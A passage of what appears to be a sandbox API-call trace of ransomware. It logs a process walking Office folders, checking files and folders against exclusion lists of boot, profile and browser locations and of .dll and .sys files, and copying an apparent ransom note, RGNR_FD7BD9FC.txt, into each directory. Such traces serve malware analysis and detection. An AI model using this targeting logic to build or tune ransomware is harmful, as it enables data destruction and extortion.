Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned=".DLL" [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="autorun.inf") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="boot.ini") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootfont.bin") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootsect.bak") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootmgr") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootmgr.efi") returned 1 [0066.724] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootmgfw.efi") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="desktop.ini") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="iconcache.db") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="ntldr") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="ntuser.dat") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="ntuser.dat.log") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="ntuser.ini") returned 1 [0066.725] lstrcmpiW (lpString1="USP10.DLL", lpString2="thumbs.db") returned 1 [0066.725] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.725] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.725] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.725] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0066.725] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.725] lstrcpyW (in: lpString1=0x1eb638, lpString2="VBAJET32.DLL" | out: lpString1="VBAJET32.DLL") returned="VBAJET32.DLL" [0066.725] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned=".DLL" [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="autorun.inf") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="boot.ini") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootfont.bin") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootsect.bak") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootmgr") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootmgr.efi") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootmgfw.efi") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="desktop.ini") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="iconcache.db") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ntldr") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ntuser.dat") returned 1 [0066.725] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ntuser.dat.log") returned 1 [0066.726] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ntuser.ini") returned 1 [0066.726] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="thumbs.db") returned 1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0066.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.726] lstrcpyW (in: lpString1=0x1eb638, lpString2="WISC30.DLL" | out: lpString1="WISC30.DLL") returned="WISC30.DLL" [0066.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned=".DLL" [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="autorun.inf") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="boot.ini") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootfont.bin") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootsect.bak") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootmgr") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootmgr.efi") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootmgfw.efi") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="desktop.ini") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="iconcache.db") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ntldr") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ntuser.dat") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ntuser.dat.log") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ntuser.ini") returned 1 [0066.726] lstrcmpiW (lpString1="WISC30.DLL", lpString2="thumbs.db") returned 1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.726] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0066.726] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0066.727] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Windows") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Windows.old") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Tor browser") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Internet Explorer") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Google") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Opera") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Opera Software") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Mozilla") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Mozilla Firefox") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="$Recycle.Bin") returned 1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ProgramData") returned -1 [0066.727] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="All Users") returned 1 [0066.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0066.727] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0066.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0066.727] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0066.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RGNR_FD7BD9FC.txt" [0066.727] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0066.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*" [0066.959] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0066.959] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.959] lstrcpyW (in: lpString1=0x1eb254, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a02f720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0066.959] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a02f720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0066.960] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0066.960] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a02f720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.960] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0066.960] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0066.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a02f720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0066.960] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0066.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a02f720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0066.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a02f720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0066.961] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0066.961] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPC.DLL" | out: lpString1="OSPPC.DLL") returned="OSPPC.DLL" [0066.961] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned=".DLL" [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="autorun.inf") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="boot.ini") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootfont.bin") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootsect.bak") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootmgr") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootmgr.efi") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootmgfw.efi") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="desktop.ini") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="iconcache.db") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntldr") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntuser.dat") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntuser.dat.log") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntuser.ini") returned 1 [0066.961] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="thumbs.db") returned -1 [0066.961] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.961] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.961] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0066.961] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0066.961] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPCEXT.DLL" | out: lpString1="OSPPCEXT.DLL") returned="OSPPCEXT.DLL" [0066.961] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned=".DLL" [0066.961] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="autorun.inf") returned 1 [0066.962] lstrcmpiW 